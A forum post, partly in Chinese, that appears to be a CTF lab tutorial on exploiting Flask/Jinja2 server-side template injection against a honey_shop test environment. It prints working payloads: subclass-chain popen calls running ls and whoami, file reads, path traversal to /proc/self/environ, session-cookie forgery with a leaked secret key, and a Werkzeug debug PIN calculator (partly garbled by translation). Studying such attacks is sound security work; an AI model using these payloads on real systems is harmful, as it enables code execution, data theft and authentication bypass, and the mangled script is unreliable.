Jump to content

Featured Replies

Posted

Flask SSTI 利用方式探索

python 语言基础

In python, the object class is the base class of all classes in Python. If you do not specify which class to inherit when defining a class, the object class is inherited by default. The magic variable __class__ that each class has, represents the current class.

1

print(''.__class__)

20210311212452.png-water_print

Each class has a __base__ attribute that lists its base classes:

20210311212639.png-water_print

List all base classes: __bases__

List the call order of the class: __mro__

20210311212935.png-water_print

Get the subclass collection: ''.__class__.__mro__[1].__subclasses__()

Next, look for subclasses that can execute commands: os._wrap_close(133)

Find available variables and methods: ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__

Execute system commands: ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('ls').read()

Read file content: ''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['__builtins__']['open']('flag.txt').read()

SSTI 简介 环境搭建

模板

A site with a unified style, most of its page styles are consistent, but the content displayed on each page is different. If all the logic is carried out at the front end, it will undoubtedly affect the response effect and efficiency, which is very unrealistic. Putting all logic in the backend will lead to too complexity, which is light at the beginning and heavy at the end.

The birth of templates is to separate display from data, so that front-end staff can focus on performance design, back-end staff can focus on business logic, and simplify the complexity of code. Template technologies are diverse, but their essence is to generate the final HTML code through the template engine.

Flask uses Jinja2 as the template engine. Jinja's syntax is very simple, and there are roughly several types:

1

2

3

4

{%.%} Statements

{{.}} Print expressions for template output (Expressions)

{{#.#}} Comments

#.## Line Statements

SSTI

In the SSTI vulnerability point, the content in {{x}} will be executed.

SSTI, also known as server-side template injection attack. The jinja2 template uses the {} syntax to represent a variable, which is a special placeholder. When rendering with jinja2, it will fill/replace these special placeholders. However, during the process of target compilation and rendering, malicious content inserted by the user is executed, which may lead to problems such as sensitive information leakage, code execution, and GetShell.

环境搭建

Test environment construction: Ubuntu + Docker

environment:

https://github.com/Tiaonmmn/pasecactf_2019_web_honey_shop

敏感信息泄露导致身份伪造

flask session 机制

20200622114302.png-water_print

Through the 3 separate paragraphs, the first paragraph is actually the content after base64encode, but the equal sign used for filling is removed. If the decode fails, you need to add 1-3 equal signs to complete it. The intermediate content is a timestamp. If the timestamp exceeds 31 days in flask, it will be considered invalid. The last paragraph is the result of the security signature, which uses the secretkey of session data, timestamps and flask through sha1 operations.

20200622142923.png-water_print

20200622143031.png-water_print

方法一

This application has SSTI vulnerability : under /hello

20200622144155.png-water_print

SECRET_KEY leaked under config:

20200622144201.png-water_print

Fake cookies using the flask-unsign tool (installed with pip):

1

flask-unsign --sign --cookie '{'balance': 6666}' --secret '7xrQRfVWmTHMRzwGXLhCQrECTqLndq1ODnvvDjKZ'

20200622145634.png-water_print

20200622145651.png-water_print

方法二

http://127.0.0.1:8345/download?image=1.jpg There is a vulnerability to download any file. Download the environment variable file:

http://127.0.0.1:8345/download?image=./././././././././proc/self/environ

20200622150508.png-water_print

Flask PIN 码利用

Flask PIN 码

The Flask Debug application provides a page-side interactive debugging tool in mode, which is the same as the Python command line we usually use, that is, it provides us with an interactive web-side shell. However, the rules for generating PIN codes are regular and can be followed, making it possible to obtain PIN codes, and there are many ways to use them later.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

twenty one

twenty two

twenty three

twenty four

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

from itertools import chain

probably_public_bits=[

'root',# username

'flask.app',# modname

'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))

'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),

]

private_bits=[

'345051575547'# str(uuid.getnode()), /sys/class/net/eth0/address

'613cacd3857f425e9409e544dece08da', # get_machine_id(), /etc/machine-id

]

h=hashlib.md5()

for bit in chain(probably_public_bits, private_bits):

If not bit:

Continue continue

if isinstance(bit, str):

bit=bit.encode('utf-8')

h.update(bit)

h.update(b'cookiesalt')

cookie_name='__wzd' + h.hexdigest()[:20]

num=None

if num is None:

h.update(b'pinalt')

num=('%09d' % int(h.hexdigest(), 16))[:9]

rv=None

if rv is None:

for group_size in 5, 4, 3:

if len(num) % group_size==0:

rv='-'.join(num[x:x + group_size].rjust(group_size, '0')

for x in range(0, len(num), group_size))

break

else:

rv=num

print(rv)

脚本中 6 个参数的获取方法:

username

User running flask, read /etc/passwd before getting

modname

Generally default

app name

Generally default

路径

debug error

网络地址

Read: /sys/class/net/eth0/address

1

int('02:42:ac:13:00:02'.replace(':', ''), 16)

20200622152622.png-water_print

机器码

Read: /etc/machine-id or /proc/self/cgroup

20200622152957.png-water_print

执行脚本

20200622153235.png-water_print

20200622153404.png-water_print

20200622153639.png-water_print

SSTI 导致 RCE

代码执行

1

2

3

{%for i in range(10)%}

{%print(i)%}

{%endfor%}

20200622154036.png-water_print

python 魔法函数 + 内置函数

魔法函数

The so-called magic methods are a high-level syntax of Python, which allows you to customize functions in a class (the format of function names is generally __x__) and bind them to special methods of the class. For example, if you customize the __str__ function in class A, the __str__ function will be automatically called when str(A) is called and the corresponding result will be returned. In our daily use, we may often use the __init__ function and the __del__ function, which is actually a kind of magic function.

内置函数

Enter help(__builtins__) in python to view the help. Simply put, it is a function that comes with Python.

1

http://127.0.0.1:8345/hello?name=\{\{%22%22.__class__.__base__.__subclasses__()[302].__init__.__globals__[%27os%27].popen(%22whoami%22).read()\}\}

20200622160206.png-water_print

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

Important Information

HackTeam Cookie PolicyWe have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.